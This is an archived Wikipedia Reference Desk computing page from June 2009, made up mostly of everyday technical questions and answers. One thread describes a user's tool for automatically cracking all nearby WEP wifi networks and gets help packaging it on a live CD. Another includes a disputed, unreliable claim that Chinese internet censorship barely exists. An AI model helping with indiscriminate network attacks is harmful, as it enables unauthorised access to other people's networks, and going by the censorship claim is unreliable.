My friend's computer had this symptom too. I downloaded and installed Avast and Spybot, both of which found some problems which the respective programs fixed. On his system, I still need to cleanse a few more stubborn items, but the "firewall not turned on" message seems to have gone away. I'm afraid I don't have the logs available right now to be more specific on the problems found. --LarryMac | Talk19:44, 2 June 2009 (UTC)[reply]
Does the warning pop up again after the first time? If so, run a scan for spyware (Spybot is good). If it's only once, that is a function of Windows not fully recognising AVG as a firewall (it is looking for its own built-in one). Go to My Computer, right click, choose Manage, then choose Services & Applications, Services. Look for "Security Centre". Right click in, choose Properties, then use the drop-down box to Disable it. This will stop the complaint. Naturally, make sure the AVG real-time mode is on.KoolerStill (talk) 22:30, 2 June 2009 (UTC)[reply]
I've often seen this happen. The Security Center starts before the Firewall, so the Center freaks out. By the time you go to 'resolve the issue,' the glacially slow human response time has left plenty of time for the firewall to fully start. Washii (talk) 02:18, 5 June 2009 (UTC)[reply]
Yes, during the short time that networking is enabled but the firewall isn't running, you're exposed. Which is part of why I personally prefer external hardware firewalls. 199.73.167.244 (talk) 15:09, 5 June 2009 (UTC)[reply]
Ubuntu script testing
I have 2 programs on my talk page. I was wondering if some people who have some experience with Aircrack-ng could test this code with their systems. This program works perfikly on my system (My system is Ubuntu 9.04 running Gnome with a Broadcom chipset.) I don't have access to any other wifi cards to test this on. Thank you Smileyhill (talk) 21:33, 2 June 2009 (UTC)[reply]
This might not help you but i have ubuntu 8.04 with a wifi card with a braodcom chip. It seems have worked just fine (as in there didnt seem to be any errors, and it correctly reported the key to my wifi network all tho it did take 6 hours)– Elliott(Talk|Cont)15:19, 3 June 2009 (UTC)[reply]
Fully automatic Aircrack-ng
This kinda relates to my question here. Thanks to Mr. Anderson's code i have written a program that can automatically start attacking all WEP wifi networks near by, Or can just attack one target. Can be found on my talk page. What i would like to do is to make a live CD that contains this program, I was thinking about modifying a BackTrack live CD but i don't know how to customize a live CD like that. So how would i go about doing this? Smileyhill (talk) 21:16, 2 June 2009 (UTC)[reply]
An alternitive that i'd be happy with would be to take an already installed OS and make a live CD with that installed OS's setting / programs and so on. —Preceding unsigned comment added by Smileyhill (talk • contribs) 22:10, 2 June 2009 (UTC)[reply]
To answer your question about customized live cds; may i suggest you try Reconstructor. I have no personal experience with that program but it looks like it might do what you want. Or you could try installing it to a USB drive and modify it as you go. – Elliott(Talk|Cont)16:34, 3 June 2009 (UTC)[reply]
Bootable USB is a good option too. You can modify a boot USB easily. One method: Download the Knoppix CD, boot it, insert a USB stick, select "Make Knoppix USB" on the Knoppix menu. --203.202.43.54 (talk) 06:07, 4 June 2009 (UTC)[reply]
June 3
Cheap computer parts
Okay well here is my dilemma. I want to build a cheap computer that I can use just to surf the internet and I was wondering if anyone had any sites to get some cheap parts. I just want to spend like 100 bucks to build it. If you have anything I would really appreciate it. Thanks guys RandomAccessDawg (talk) 03:27, 3 June 2009 (UTC)[reply]
If you are buying new (or even if you go for second hand) $100 will probably not even be enough for just a case and motherboard - two of your most basic components. http://www.newegg.com/ is a good site for the US (although I am from the UK so others might have better suggestions). --JoeTalkWork03:58, 3 June 2009 (UTC)[reply]
Well I am currently in the process of getting a job so when I do I will probably be able to spend more. What would you think would be a reasonable price for a cheap computer? I am planning on putting the latest Ubuntu on it so the OS will be free. But ya I didn't look at newegg yet but I was planning on it. Thanks man! —Preceding unsigned comment added by RandomAccessDawg (talk • contribs) 04:07, 3 June 2009 (UTC)[reply]
If I were you, I would look on Craigslist in the "computer" category, where sub-$100 computers are common. They will be early Pentium 4 systems with monitors and not a lot of RAM. Be sure to try it out for a few minutes on your favorite websites to see if performance is OK before you pay the money and walk away with it. Tempshill (talk) 04:23, 3 June 2009 (UTC)[reply]
Yeah, to be sure, you can find computers that will easily surf the web and do lots of stuff for < $100. But finding someone parting with those can be tough. Most non-savy people think their computers are worth a lot more than they are, and most savvy people either keep them around, or don't even bother selling them. Even eBay tends to have really overpriced low-end machines. That said, I think eBay might be a good place to start so long as you're somewhat discriminating about pricing. Same thing for craigslist. I'd say garage sales too, but I think that might be too much time invested for the payoff.
Hopefully you can find working peripherals. Just make sure you know how a monitor and keyboard attach, and a network card too. USB is a definite plus for the latter two. Shadowjams (talk) 04:52, 3 June 2009 (UTC)[reply]
As with a used computer, be sure to test out such a netbook on your favorite sites before buying it. "Sluggish" is the term everyone seems to use when describing them. Tempshill (talk) 18:41, 3 June 2009 (UTC)[reply]
In rural parts of the USA, residents often bring trash to a town transfer station. There is often a place to leave potentially reusable items that anyone can take for free. I've seen computers in such areas (but never saw one I wanted). --Jc3s5h (talk) 00:26, 4 June 2009 (UTC)[reply]
Well I am looking for something along the lines of 2+ gb of ram. I would like 2.5+ ghz processor. Basically I want something that I can play Assassin's Creed or Crisis with no delay or lag or anything. A perfect computer. This is just a cheap test computer that I would like to build to see if I can actually put one together and make it work. I might put this one downstairs for my little brother to play and leave that older XP for my sister to have or something. On the other hand I might build this one and sell it but I havent decided yet. I would like new parts for this just so I can become familiar. RandomAccessDawg (talk) 03:12, 4 June 2009 (UTC)[reply]
Check out tigerdirect and get a barebones kit. Normally you'll need to get a CPU fan, and an optical drive, but sometimes not even those, and they're sub-500, and quite nice. The reality is that you won't really be able to purchase anything from any store online for $100, as parts worth that little aren't worth the cost to sell online. Craigslist is your best bet, but I imagine cheap parts don't exist there, but cheap computers will. Chris M. (talk) 13:33, 5 June 2009 (UTC)[reply]
What is Kerberos used for?
Hi. I understand that Kerberos is an authentication protocol. But where have I seen it in action? I searched Google and even read your entry on the subject, but haven't found an answer. Your entry says that it is the default authentication protocol for Windows 2000 and later, but it is a network protocol. I log on to all kinds of servers through FTP, HTML forms, RDP, SMB, etc. Are those all using Kerberos to authenticate me?--76.120.121.128 (talk) 06:04, 3 June 2009 (UTC)[reply]
At the risk of over-simplifying with an analogy, Kerberos is like a government agency that issues an ID card such as a driver's license that is generally trusted by others as reliable proof of identity. When you applied for your ID card, you likely needed to provide a primary evidence of identity, such as a birth certificate. (Well, lets assume you did.) The ID card is then used as a reliable secondary evidence of your identify for the purposes of bank transactions and other business activity. I may not know you, and I may not even have the expertise to verify the authenticity of your birth certificate, but I have full faith in the reliability of that government ID. The point is that you do not need to carry your birth certificate with you everywhere, and I only need to be able to recognize and accept one reliable form of identification.
The birth certificate would be analogous to your username and password that you use to log into the network. The government agency would be the Authentication Server. The ID card would be the credentials (Ticket-Granting Ticket) issued by Kerberos that presumably cannot be forged. Banks and other businesses would be the other computers on the network that provide protected services such as file servers, database servers, and internet proxies. These other computers are not going to trust your computer directly to verify your identify, and may not even have the ability to verify your password if you supplied it. Instead, they trust the credentials issued by the authenticating server, and then only under well defined conditions. The point is, you enter your password once, and the entire network recognizes who you are.
And, by the way, all the sensitive Kerberos communications are performed using encryption methods that are designed to ensure the integrity of your credentials and to prevent non-authorized persons from hijacking your identity (i.e. forging or copying your ID card). -- Tcncv (talk) 07:18, 3 June 2009 (UTC)[reply]
ok. Thanks for that. But, where have I used it? I have used browsed things like network printers and network shares inside Windows. I noticed that I am asked for a password, but am logged in automatically on subsequent visits. Is that done using Kerberos?--76.120.121.128 (talk) 08:18, 3 June 2009 (UTC)[reply]
A lot of incarnations of OpenAFS use Kerberos authentication. I use Kerberos to mount my university-wide network drives with single-login authentication. I can also use it to check my email from the command prompt with Alpine - again, I don't have to reauthenticate to the web server. I feel that this is slightly more secure than saving passwords in a web browser's password-manager, because the Kerberos authentication never actually transmits the password over the network (unlike a browser's password manager). Nimur (talk) 14:44, 3 June 2009 (UTC)[reply]
What Jsbillings is asking is, are you using a Windows 2000 (or later) operating system? Those use Active Directory which has Kerberos-based authentication. Jay (talk) 03:41, 4 June 2009 (UTC)[reply]
Over the past year or so, my email inbox has received several spam emails sent "by me." I realize that the send address is spoofed, but... Is my email address being used as a 'from' address for your spam? 96.227.82.128 (talk) 09:07, 3 June 2009 (UTC) I really want to get these fuckers![reply]
The from section can be easily forged and chances are the program the spammer is using is just set to make the from section the same as the to one. Your email address probably isn't being used by spammers. edit: If it was you might be getting lots of failed delivery messages or something, from the spammers sending mail to places that don't exist or outright refuse it.Gunrun (talk) 09:13, 3 June 2009 (UTC)[reply]
..Also note that the "From" field does not have to be the real sender of the e-mail message. It is very easy to fake the "From" field and let a message seem to be from any mail address..
You can assume that the spam email recieved from other senders has the 'from' faked too. Why email/internet service providers allow this to continue is a mystery to me. Put me down on your lynch mob - they definately deserve need a hard smack.77.86.10.194 (talk) 11:36, 3 June 2009 (UTC)[reply]
If your email address is used to send spam to others, you will get tons of "could not send" errors. I know this because I get hundreds of them each day (the problem of having a publicly available email address since 1994). As far as stopping it, it is not possible. Until someone figures out how to legally run an international bounty system to catch the spammers dead or alive, there is no punishment for being a spammer. -- kainaw™15:31, 3 June 2009 (UTC)[reply]
Z80 question
In Zilog_Z80#The_new_syntax it says that "..except for the mnemonic “jp (hl)”, which is inconsistent.."
There is an inconsistency in the asembluy language notation for some jumps. In most Z80 assembly language statements, operands not contained in parentheses represent immediate values contained in the instruction (if a number) or to the contents of a register (if a register name). Parentheses around a value or register name changes the meaning so the operand is the memory addressed by that value or by the contents of the specified register. All of the load, arithmetic, and other data manipulation instructions follow this convention. For example:
LD BC,2130H ; Load the value 2130H into register BC
LD SP,HL ; Load the value from register HL into register SP
LD A,(2130H) ; Load the contents of memory at address 2130H into register A
LD A,(HL) ; Load the contents of memory at the address contained in register HL into register A
Jump instructions are kind of in a class by themselves in that they refer to a memory location, but do not actually access that memory location (the next instruction after a completed jump will be retrieved from that location). Jump instructions are essentially special case load instructions whose target is the program counter. Consider the following jump instructions.
JP 2130H ; Jump to location 2130H (load the value 2130H into the program counter)
JP $-28H ; Jump relative to location $-28H (subtract the value 28H from the program counter)
JP HL ; *** Invalid *** (Intended to load the value from register HL into the program counter)
JP (HL) ; Jump to the location contained in register HL (Accepted, but inconsistent syntax)
If you think of a jump as simply a register load, the first two instructions above follows the same convention as other instructions. The third instruction would be the natural continuation of this convention, yet this form is not valid. The fourth instruction is the accepted syntax, even though it would appear to say "load the contents of memory at the address contained in register HL into the program counter. -- Tcncv (talk) 01:49, 4 June 2009 (UTC)[reply]
Thanks, So there never was any 'dereferencing' or 'indirection' instruction where hl acts as a pointer.
I'm experimenting with a program that works with numbers - and I was trying to find out what sort of system it uses to store the numbers.
I found that it could store 2^n+1 without losing the "1" up to about n=53, so I guess 53bits for mantissa.
I also found that it could store up to 2^1023 as a number and that it also handles higher values as "infinity" - so I thought 64bit floats right??
Then I tried 2^-n - it gives answers for up to 2^-1074 (7 is not a typo)
it evaluates
I will be taking a vacation to the People's Republic of China this summer and would like to be able to fully access YouTube, Wikipedia and Facebook while over there. It is my understanding that these sites have certain restrictions and certain pages are blocked?
What would be a good, free proxy that will allow me to circumvent the "Great Firewall of China?" Would Psiphon be a good one?
Internet censorship in the People's Republic of China has a lot of information about what is blocked and how, and about tools that are often used for circumvention. Psiphon is specifically mentioned, though the article isn't a ratings guide, so it doesn't state how effective it is. By the way, if I were vacationing in China, I would be careful to obey the laws of China. Tempshill (talk) 20:22, 3 June 2009 (UTC)[reply]
This constitutes original research; but last summer, a few friends of mine and I experimented with the so-called "censorship" and also with secure encrypted remote access. My colleague(s), visiting China, tested internet access at public (internet-cafe) and private (university and private residence) internet terminals, located in the People's Republic of China. We also managed to set up SSL tunnels to my server located in California as a further proof-of-concept. There was no interference with the SSL tunnel, which was also used for proxying web browsers and email. Also worth noting is that there was no noticeable disruption to "normal web browsing activities" even without the proxy. My conclusion is that if any filtering is taking place, it is largely ineffective - we could not identify any websites which we could not access. And, if any were hypothetically found, we had an uninterrupted, high-grade, secure, private tunnel to an outside proxy. All you need is an SSH server running anywhere else in the world. I'm reluctant to call the numerous cited sources of internet censorship "false" - but I think that they maybe overstate the impact of any such censorship. From a strictly technical sense, it is very very difficult to implement the sorts of things listed in the technical section - I suspect that packet-level keyword sniffing is "outright impossible" on a national level. I also think that the List of websites blocked in the People's Republic of China is grossly inaccurate (again, though, this is original research and so I am reluctant to modify that article - but we accessed all of those websites even without a proxy). My real suspicion is that these widespread rumors of censorship are the result of a huge, technically-incompetent user-base in China who are new to internet technology are willing to readily blame every sluggish server, every slow connection, every 404-error on a (largely nonexistent) government censorship program. It's also worth mentioning that even progressive nations such as the United States and the United Kingdom also censor certain content (such as child pornography), and have used such arguments to justify their technical capability to block access to other websites. This notably resulted in nation-wide blocks of Wikipedia in the UK only a few months ago. Nimur (talk) 04:23, 4 June 2009 (UTC)[reply]
You're going to have to cite a source when you claim that the US blocks access to any websites. They have certainly arrested people for child porn on the web, but you're really stretching the word "censor" if this is what you mean. Tempshill (talk) 04:29, 4 June 2009 (UTC)[reply]
If you read carefully, I said that the U.S. censors such content, not that they block access to its websites with a firewall. Finding an example of a take-down is easy, I just went to the FBI's web page: the FBI. "On July 25, 2006 the website www.namgla.net was shut down by the SAFE Team" (of the Los Angeles branch of the FBI). This seems like a perfectly appropriate thing to do (I'm not a fan of child abuse or child exploitation). However, in the strictest sense of the word, this is censorship, in that the FBI decided that this content was not "free speech" and shut the web site down. The technical means used were a bit more realistic - they actually had to shut the server off. (I don't believe that DNS redirects or packet-level filtering would be effective on a nation-wide scale, because I have a vague idea about how the internet works). If the server is alive and is connected to a network, it'd be really hard to block it with a "firewall" of any type. Nimur (talk) 04:36, 4 June 2009 (UTC)[reply]
You talked about the US using child porn censorship arguments to justify a technical capability to block access to websites. I don't think the US has demonstrated any ability to block access to any websites. They just drove over to the guy's house, arrested him, and turned his computer off. Tempshill (talk) 16:42, 4 June 2009 (UTC)[reply]
(Even the Wikipedia block, mentioned above, was grossly ineffective - a DNS bypass and URL-sniffer apparently was used, but it failed to block most of the accesses, and was totally unable to block accesses that used Wikimedia's secure server). Nimur (talk) 04:43, 4 June 2009 (UTC)[reply]
Before suggesting that "From a strictly technical sense, it is very very difficult to implement the sorts of things listed in the technical section", you should probably consider this tidbit: "The telecommunications industry in China is dominated by three state-run businesses: China Telecom,China Unicom and China Mobile." It is not only possible, but probable that the state has an interest in limiting many facets of the internet, especially the global collaboration venues like Wikipedia. --66.195.232.121 (talk) 17:14, 4 June 2009 (UTC)[reply]
I don't know what China does but I would imagine packet level keyword checks would not normally be used to stop communication but only to alert a program to capture the whole conversation for a security officer to inspect. Dmcq (talk) 07:51, 4 June 2009 (UTC)[reply]
I am trying to compare two lists and display only the matching lines. Ideally I could match with regular expressions, but being limited to literals is acceptable. I have done this with a bash script, but that method is cumbersome and not very efficient.
It seems like there is some obvious program out there that I don't know about. Is there a native utility that does this in most linux/unix distributions, and if so what is it? Also, if I am stuck doing this in a script, what would the most efficient way to do that be? Right now I'm taking each line from file 1 and searching for it in file 2, returning it to the stdout. Is there an improvement over this? Shadowjams (talk) 22:40, 3 June 2009 (UTC)[reply]
I have a TV that has the Closed Captioning stuck on ON all the time. I have turned off the CC through the "CC" button on the remote and that has not had any effect. Also when I go through the on-screen menu the option to turn the CC off for the HD feed is disabled. The CC is only on when I actually watch through the cable box; if I use the DVD player the CC is properly Off. My Cable has been disconnected and reconnected since the CC started appearing everywhere so I doubt it is the cable.
Has anyone heard of this problem before or does anyone have any idea how to stop the CC from appearing? The TV is a Magnavox 26MF605W brand. Thanks for reading. meshach (talk) 02:15, 4 June 2009 (UTC)[reply]
Since it's only happening when you watch the cable box, have you tried looking at the cable box's menu or remote control? It may have its own setting for closed captions. --Bavi H (talk) 03:34, 4 June 2009 (UTC)[reply]
I was commissioned (read: forced :P) to write an html page, so I did as best I could with what little I know and halfway being done, came about a small dilemma with IE compatibility... Why does this look ok in Firefox and IE8, but not in IE7 (I'm new to this whole website deal, I swear tho that eventually I'll learn to use divs + propers css instead of these horrible tables :P so please don't flame), and what can I do to fix it? (I'm assuming most people here will 'view source', but I can paste my frankenstein code here if anyone needs me to).
It actually looks fairly good in IE7 on my machine (IE 7.0.6001.18000 in Vista SP1). The only problem is a white bar above the text on the animated buttons. Microsoft has made great strides towards W3C standard compliance recently, but IIRC, there are still some issues with box size calculations, i.e., whether or not the border width is included. I'm not sure what the workaround is though. -- Tcncv (talk) 04:50, 4 June 2009 (UTC)[reply]
Not bad. I notice a difference between Firefox and IE8 because I use a 120 dpi screen rather than 96dpi and when they scale that way the fonts go a little different. It means for instance the minolta tab takes two lines on the Firefox. You also have a mix of pixels and points which can scale differently, personally I use ems even for space measurement and only use pixels for pictures but many businesses tend to use pixels for everything so it's all exactly as they see it. I'm afraid you're now into the area of the difference between paper and the web. Dmcq (talk) 07:35, 4 June 2009 (UTC)[reply]
@tcncv: Yeah that was what was bothering me :P Hmmm.. So might be the because i specified different measurements huh? I'll play around with it, thanks for the feedback! :). BTW, I also found this nifty site where you can get screenshots from different browsers, just thought I'd share in case someone didn't know about it. PrinzPH (talk) 17:53, 4 June 2009 (UTC)[reply]
Looks like they've got everything except what happens when people zoom the image or do a zoom text only or if they have a different dpi or have different fonts otherwise or are blind and use a reader or disable popups or don't have javascript or images switched on or... well it goes on :) Dmcq (talk) 21:13, 4 June 2009 (UTC)[reply]
Your td class=um/ul/ur/bm/bl/br elements have a space in the middle of them. This space is shown and is the height of one line of text. Even though you set the height of the row, this is ignored because the contents of the cells on the table are larger that height. The result makes a white line between the top of the box and the body of the box on my Firefox 3.0. To see this happen, do tools, options, content and set the font size to something big. The fix is to remove the whitespace or set style="font-size: 1px" or something. Setting the font very large will also break the boxes in the horizontal direction.
The site as it is at the moment will cause problems for those with disabilities. Videos here gives an idea on how disability aids are used.
Incidentally, I recommend Firebug for CSS debugging in firefox (For example, on the html tab, you can see the padding/margins by hovering the mouse over the areas on the layout tab). --h2g2bob (talk) 22:20, 4 June 2009 (UTC)[reply]
removing a word
pl. could you tell me how to remove a word in MS word or MS excel completely? e.g.
I want remove the word 'dollar' from say 'five dollars and six cents'.
thank you. 124.43.40.45 (talk) 06:18, 4 June 2009 (UTC)[reply]
Move the cursor to the start of the word you wish to remove, press the delete key several times; or highlight the word with the mouse, then press delete. If you want to remove the word everywhere it appears, use "Replace" (which is found on the "Edit" menu). Fill the word you want to remove in the top box, leave the lower box blank, click "Replace all".
If the document uses "tracking" (you can tell if tracking is used because words will either be crossed out or appear in a ballon off to the side of the document) you will have to either turn off tracking before deleting, or you will have to accept the changes after you have deleted. You can use CTRL+SHIFT+E to turn tracking on or off. --203.202.43.54 (talk) 06:52, 4 June 2009 (UTC)[reply]
A faster way of removing a word is to double-click it and then press Delete or Backspace. Furthermore, if the caret is precisely to the right (left) of the word, you can press Ctrl + Backspace (Delete). --Andreas Rejbrand (talk) 17:03, 4 June 2009 (UTC)[reply]
Freeware DVD playing software?
Hi there, I want to be able to play DVDs on my laptop. It's just a standard WinXP laptop and it definitely has a DVD drive and the DVDs in question are just standard Region 2 DVDs of TV shows and so on I bought from Amazon.co.uk.
Windows Media Player won't play them because it says I am missing "codecs". Can anyone reccomend any FREE software I can download so I can watch DVDs? Nothing fancy required, as long as I can navigate the menus on the DVDs as otherwise they won't play any further than the main menu.
No, for VLC you won't. VLC doesn't use the Windows codec framework (unlike other players like Nero or Windows Media); instead VLC ships with its own set of codecs, which will play all DVDs and lots of other media besides. 87.115.17.103 (talk) 15:33, 4 June 2009 (UTC)[reply]
Thanks, all of those work, although I have to copy the DVD files to my hard drive, otherwise the playback is unacceptably slow but I think that must be a problem with my DVD drive. GaryReggae (talk) 13:06, 5 June 2009 (UTC)[reply]
Change words color
Anyone feel like writing a simple greasmonkey script for me? All it needs to do is take any instance of a word on a webpage, say for example the word "apples", and change the color of the text to red. Thanks! —Preceding unsigned comment added by 82.44.54.169 (talk) 11:29, 4 June 2009 (UTC)[reply]
It's something you could do relatively easy - open the source for editing (in internet explorer 8) use "File" then "edit with notepad" - you should get a source listing - looks like computery nonsense if you don't know html.
Then select "edit", then "replace"
Type the word you want to change in the "find" box, and type <font color="ff0000">''name''</font> in the replace box. and press replace all.
eg if you want "apples" type
<font color="ff0000">apples</font>
in the replace box
then save the file - just use "save as" - give the file a name, and add .html to the end eg, if you want to call it "redpage" save it as "redpage.html" (ignore the quotes).
Thats it - when you open the file you will find the words apples in red.
It also works in wikipedia because wikipedia also recognises this type of syntax sometimes eg apples.
hmmm, thank you for the suggestion, however I really need this to work "on the fly" so to speak, which is why I thought greasemonkey might be the way to go. Editing every single page I visit would be extremely tedious and not worth the effort. I just want a simple way to highlight certain words as I'm browsing, so that my attention is drawn without having to search for them. —Preceding unsigned comment added by 82.44.54.169 (talk) 13:07, 4 June 2009 (UTC)[reply]
Sorry about that - I knew it would be more complex - I don't use firefox so I can't really test out greasemonkey - nevertheless if you can use it yourself the above replacement will work - try this http://userscripts.org/scripts/show/41369 and do the above replace. It might work. (It should work really - but I can't check it)16:14, 4 June 2009 (UTC) —Preceding unsigned comment added by 77.86.10.194 (talk)
It just seems to show the code and not actually change the color. But thank you, that script is great in it's own right and a nice find :) —Preceding unsigned comment added by 82.44.54.169 (talk) 16:38, 4 June 2009 (UTC)[reply]
Isn't Firefox's search-function already able to do this? Ctrl+F to search and then click "Highlight" (or similar, my Firefox is in Norwegian). --aktsu(t / c)14:36, 4 June 2009 (UTC)[reply]
Am I missing something? Sure, you have to click "Highlight" for each page but that's it. I've never used Greasemonkey but I can give it a try if you want. --aktsu(t / c)14:45, 4 June 2009 (UTC)[reply]
Did some searching and while I didn't find any scripts working exactly as desired, the SearchWP addons seems to work perfectly. You write the words you want highlighted in the top-right searchbox, press the "highlight"-button, and they'll automatically get highligthed on every page. --aktsu(t / c)15:47, 4 June 2009 (UTC)[reply]
Well, the best I could find was this. If you add instances of hl(document.getElementsByTagName('body')[0],'word',/(\w)(word)(\b)/gim); to it, but instead of "word" you use the words you want highlighted except the first letter (e.g. hl(document.getElementsByTagName('body')[0],'ikipedia',/(\w)(ikipedia)(\b)/gim); for "Wikipdia") it'll highlight that part of them. Maybe someone with more GM experience can make it work properly. --aktsu(t / c)20:38, 4 June 2009 (UTC)[reply]
Thanks again, but this is highlighting everything yellow. I just want it to change the text color from default black to red. I didn't think it would be such a hassle lol, sorry to keep on asking. I've had great success asking about userscripts in the past on WP:RD, hoping one of those kind people who helped me before will show up some time soon.... —Preceding unsigned comment added by 82.44.54.169 (talk) 20:55, 4 June 2009 (UTC)[reply]
If you change hiword.style['backgroundColor']='yellow'; to hiword.style['color']='red'; it'll change the text-color instead. Hopefully someone shows up, yeah. I'd be interested to see the result. --aktsu(t / c)21:12, 4 June 2009 (UTC)[reply]
Freeware 'photocopier' software for WIA flatbed scanner using XP?
I am running a flatbed scanner using WIA, in XP. Can anyone recommend or even just find some free software to make it easier to do 'photocopies' please? Ideally OCR as well. (I do not want to use SANE Scanner Access Now Easy as it seems to be fiendishly complicated for a non-nerd to use.) Thanks. Correction: I think its using WIA rather than TWAIN as I earlier thought. 89.242.95.175 (talk) 13:25, 4 June 2009 (UTC)[reply]
Changing sea level
The newer version Google Earth lets me explore under the sea to a limited extent, and that has got me thinking about the changing sea level due to global warming, as well as when it was much lower in the past (around the time of the ice ages). Is there a way of changing the sea level datum used by Google Earth to make this investigation a little easier? Astronaut (talk) 18:30, 4 June 2009 (UTC)[reply]
I can't find anything - though there are methods to increase the sea level using drawn polygons ie search "google earth sea level". Maybe a more thorough search of the "google earth API" will turn something up. Otherwise I recommend an email to google requesting the feature. —Preceding unsigned comment added by 77.86.10.194 (talk) 12:23, 6 June 2009 (UTC)[reply]
June 5
force bash to expand arguments (Linux)
Resolved
Is there any way to force bash to "expand" the arguments passed to a script?
Example:
Script 1: /home/hacktolive/dir1
Script 2: /home/hacktolive/dir2
Image: /home/hacktolive/dir1/image.png
When I launch script 1, it then launches script 2, and passes the command-line arguments to it. The problem is that if I do /home/hacktolive/dir1/script1 ./image.png then script2 will try to look for image.png at /home/hacktolive/dir2 (as expected), while I wanted to expand ./image.png to: /home/hacktolive/dir1/image.png. I think part of the solution is having something like this on the script 2:
# try to sanitize arguments by changing to the dir of script 1
cd "$script1_path" # in this case script1_path is: /home/hacktolive/dir1
for var in "$@"
do
args="$args $var"
done
# we now launch the image viewer (args are the images to be opened)
"$image_viewer_launcher" "$args"
However, this alone does not work, I still need to "force" bash to expand ./ to the proper location. (I have considered using readlink, however, that does not work, since I can't know if a command will be a file/location or anything else). Anyone know how to do this? (PS: This might sound a silly thing to do, but I wanted a similar feature on RUNZ, and no: I can't just launch script1 directly) Thanks. ___ Hacktolive (talk) 00:16, 5 June 2009 (UTC)[reply]
pwd will return the working directory -- echo `pwd` would return /home/hacktolive/dir1. You could simply prepend that to your path name. You would end up with /home/hacktolive/dir1/./image.png which should work fine (note, not tested as I'm at work and thus bashless, also bash is not my strong suit). --Polysylabic Pseudonym (talk) 06:14, 5 June 2009 (UTC)[reply]
I'm teaching myself Objective C. The book I'm using brings up bit operators in chapter 4. I understand the basic concept of them but I'm left wondering how often these are actually used! They seem rather... obscure? Or at least not used so often that they need to be taught so early on... Am I way off base or what? Dismas|(talk)04:55, 5 June 2009 (UTC)[reply]
It depends on the field you're in - in some applications, they are VERY commonly used - in others, never. They are taught that early in most programming books because they are very similar to the usual +,-,*,/,% arithmetic operators - and it makes sense to teach them all at the same time. I don't use Objective C - but they are the same as in C and C++. In the past few days I've used bitwise operators in C++ to...
Allow my Arduino to control individual bits of an 8-bit port that's wired up to drive a pair of stepper motors for my CNC milling machine.
Pack a set of 128 skeletal mesh bone enable/disable bits into a small space so it can be efficiently transmitted to a vertex shader in the GPU of a graphics card.
Convert a floating point number into an nVidia-style 'half float' - and vice-versa.
Okay, thanks! So I'm guessing that I won't be using them too much... I just want to write a few iPhone apps which have a minimal amount of math and mostly deal with moving text around. Dismas|(talk)05:59, 5 June 2009 (UTC)[reply]
Yes, bit operators are mostly used in rather "technical" programming. Recently I have written a library to encode/decode bitmaps (*.bmp files), and there I use bit operators to access/write to individual bits of bytes, which is neccessary. --Andreas Rejbrand (talk) 07:48, 5 June 2009 (UTC)[reply]
One use-case for bitwise operators that is not limited to certain fields of programming is to circumvent short-circuit evaluation. For example:
inttest1();inttest2();intmain(void){if(test1()||test2()){/* due to the short-circuit nature of the || operator, if test1() evaluates to non-zero, test2 is never called */}if(test1()|test2()){/* in this case, the bitwise "|" operator has the same semantics as || (for all practical purposes), except that it always evaluates both operands */}}
I don't know the iPhone API - I suspect that you'll find you need at least a passing knowledge of these things. I believe the iPhone uses OpenGL-ES for rendering. That means that you'll see things like this code snippet (which clears the screen):
The two '|' operators in the first line are bitwise 'OR' operators that are being used to combine some flags into a single number. Admittedly, it doesn't take a huge amount of knowledge of boolean logic to understand what this means...but these operators do tend to slip into code in sneaky ways. So I think you should learn about them. Since you're certainly going to need to understand '&&', '||' and '!' - it's not a huge stretch to go from there to knowing about '&', '|' and '~', which are their bitwise cousins. SteveBaker (talk) 14:18, 5 June 2009 (UTC)[reply]
How would I go about doing this, so I can simply watch TV broadcasts through my computer instead of a TV. At the moment I get Freewire, but it seems that only works at university, and when I go home, I'll be sharing a bedroom with my younger brother, and don't want to bother him by watching our TV all the time, particularly not late at night, so I though if I could get TV channels through my laptop instead, i could sit where I wanted to watch, and wear my headphones so I don't disturb anyone else. Last time I was at home I searched all over the internet and only found lots of junk that didn't work. Does anyone know any place that offers this service. It sounds like quite a simple thing to do, just shifting the signal form one screen to another, I just can't find anyone else that can do it.
148.197.114.207 (talk) 11:53, 5 June 2009 (UTC)[reply]
You could get a TV tuner card. Hauppage makes some good USB ones. If you have a Mac, I reccomend going with EyeTV. Their software is excellent. 206.131.39.6 (talk) 16:54, 5 June 2009 (UTC)[reply]
XML XSD Schema - what is the namespace attribute of the import statement for
What is the namespace attribute on the include for?
Loadrunner - Vugen script explanation?
Hi, I'm using LoadRunner's VUGen script. I was wondering if there was some document that explained the syntax and the different functions that exist within the script so that if necessary I can make modifications to the recordings. I can't seem to find any document anywhere on the details of this script language. If someone could help me I'd appreciate it.
Games that won't run on nVidia 7000-series graphics cards.
I'm trying to make the case that nVidia "shader model 2.0a" graphics cards (ie 7000-series and earlier) are obsolete. I need to get a list of maybe a dozen modern games that won't run on 7000 cards (or at least that say "shader model 3 or later" or "nVidia 8000 series or later" on their boxes). I bet a bunch of people here have a row of PC game boxes on their shelves - I'd REALLY appreciate it if you'd take a moment to look at the "minimum spec" info on the side. Thanks! SteveBaker (talk) 14:02, 5 June 2009 (UTC)[reply]
The only reason GTAIV won't run is because it's so crappily ported. There are very few (if any, I don't know of any) games that REQUIRES DirectX10 - even Crysis doesn't require DirectX 10 hardware, so I don't think it'd make much of an argument here. --antilivedT | C | G05:27, 6 June 2009 (UTC)[reply]
I'm not home right now, so I can't look at the actual games, but the oldest cards on the 7000 series are literally four years old. That's a long time in game graphics, so I think your case is pretty valid. Steve, for an easy way to get a lot of the data you need, you may want to check out the various games on Steam -- they list minimum requirements. (I just glanced at one,Splinter Cell: Double Agent (on sale right now, and super cheap!), and that requires a Shader 3.0-enabled video card. It's three years old, too. -- Captain Disdain (talk) 12:05, 6 June 2009 (UTC)[reply]
But the thing is the 7-series support shader model 3 too (hell even my old 6600GT supports shader model 3 (DirectX9)). --antilivedT | C | G12:32, 6 June 2009 (UTC)[reply]
GTA IV? Yeah, it'll run, although expect a slideshow on 7-series Nvidia cards. Double Agent also seems to be poorly-coded, too. I experienced framerate issues as well as fatal errors while trying to run the game. Blake Gripling (talk) 12:37, 6 June 2009 (UTC)[reply]
Non-Existing Drives in Windows Vista
I'm running Windows Vista Home Premium Edition. A few months ago, I connected an MP3 player to my PC. When it installed, it added it as a new drive (letter F). That's fine, but every time I reconnected the drive, it added another drive (letters G, H, and I). I've never connected that device since then (I don't even have that MP3 player anymore), but those drives still show up on my computer even though they're not functional. I can remove them by going to "Safely remove hardware," but the next time I reboot, the drives show up again. Is there a way to get rid of them permanently? —Cswrye (talk) 16:03, 5 June 2009 (UTC)[reply]
